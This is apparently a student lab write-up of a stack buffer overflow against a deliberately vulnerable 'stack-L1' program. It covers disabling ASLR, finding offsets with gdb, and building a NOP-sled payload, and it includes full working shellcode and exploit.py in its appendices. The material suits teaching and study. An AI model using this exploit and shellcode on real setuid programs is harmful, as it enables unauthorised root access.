Preparing for the Attack#

We have to disable some countermeasures built into Linux if we want to succeed with this basic buffer overflow.

Disable address randomization with the following command:

1
sudo sysctl -w kernel.randomize_va_space=0

Investigating for the Attack#

We need to gather some information before we can construct our payload.

The program we’re going to be attacking is stack-L1, so we’ll use the debug binary for it that we compiled to gather information about the stack.

We do this by using gdb and creating a breakpoint at the bof function.

Then stepping forwards once with next and getting the value in the $ebp register.

In actual execution the frame pointer will be larger, since gdb pushes some additional stuff onto the stack.

Without gdb the stack wouldn’t have grown as much, so we need to keep this in mind when creating the payload.

Then we also want to get the address of the buffer variable.

The distance between the buffer address and the frame address is:

1
0xffffcb18 - 0xffffca12 = 0x106 (262 in decimal)

Preparing the Payload#

We’ll construct the payload in badfile using the given exploit.py, but we’ll have to do some modifications.

exploit.py creates the file badfile by constructing a 517 NOP long string, then by overwriting part of it with the shellcode, and then another part with the return address.

The challenge comes from finding where to put the return address and the shellcode.

Modifying the shellcode variable to contain the following:

1
"\x31\xc0" # xorl %eax,%eax
2
"\x50" # pushl %eax
3
"\x68""//sh" # pushl $0x68732f2f
4
"\x68""/bin" # pushl $0x6e69622f
5
"\x89\xe3" # movl %esp,%ebx
6
"\x50" # pushl %eax
7
"\x53" # pushl %ebx
8
"\x89\xe1" # movl %esp,%ecx
9
"\x99" # cdq
10
"\xb0\x0b" # movb $0x0b,%al
11
"\xcd\x80" # int $0x80

This defines the code that will launch the root shell.

Next we need to define where the shellcode will be placed using the start variable.

The simplest solution is to just place the shellcode at the very end, so we have a larger area of NOP instructions to hit with our return address.

So we set start to:

1
517 - len(shellcode)

Then we need to place the correct return address in the proper spot to overwrite the original return address.

From our investigation with gdb, we know the difference between where the buffer starts in memory and where the frame starts is 0x106, so the return address is +4 above that.

So our address needs to be placed at an offset of 0x10A, so we set offset to 0x10A.

Then we need to set value to overwrite the original return address with.

Because of our NOP sled, we can undershoot our shellcode by a decent bit and still reach it, but we can’t overshoot or the exploit will fail.

We also need to remember that the address given to us was gotten when we were using gdb, which effects the position of the address by making it lower than it would be in normal execution (because the stack grows down).

To start with, I’ll use the address we got plus 200, setting the ret to:

1
0xffffcb18 + 200

View the full code for exploit.py in the appendix.

Then we generate badfile by running python3 exploit.py, and then we just have to run ./stack-L1, getting this as a result:

Meaning we’ve successfully executed arbitrary code using a buffer overflow.

call_shelcode.c#

1
#include <stdlib.h>
2
#include <stdio.h>
3
#include <string.h>
4

5
// Binary code for setuid(0)
6
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
7
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
8

9

10
const char shellcode[] =
11
#if __x86_64__
12
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
13
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
14
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
15
#else
16
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
17
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
18
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
19
#endif
20
;
21

22
int main(int argc, char **argv)
23
{
24
   char code[500];
25

26
   strcpy(code, shellcode);
27
   int (*func)() = (int(*)())code;
28

29
   func();
30
   return 1;
31
}

exploit.py#

1
#!/usr/bin/python3
2
import sys
3

4
# Replace the content with the actual shellcode
5
shellcode= (
6
"\x31\xc0" # xorl %eax,%eax
7
"\x50" # pushl %eax
8
"\x68""//sh" # pushl $0x68732f2f
9
"\x68""/bin" # pushl $0x6e69622f
10
"\x89\xe3" # movl %esp,%ebx
11
"\x50" # pushl %eax
12
"\x53" # pushl %ebx
13
"\x89\xe1" # movl %esp,%ecx
14
"\x99" # cdq
15
"\xb0\x0b" # movb $0x0b,%al
16
"\xcd\x80" # int $0x80
17
).encode('latin-1')
18

19
# Fill the content with NOP's
20
content = bytearray(0x90 for i in range(517))
21

22
##################################################################
23
# Put the shellcode somewhere in the payload
24
start = 517 - len(shellcode)             # Change this number
25
content[start:start + len(shellcode)] = shellcode
26

27
# Decide the return address value
28
# and put it somewhere in the payload
29
ret    = 0xffffcb18 + 200   # + 8 works with gdb     # Change this number
30
offset = 0x10A            # Distance + 4
31

32
L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
33
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
34
##################################################################
35

36
# Write the content to a file
37
with open('badfile', 'wb') as f:
38
  f.write(content)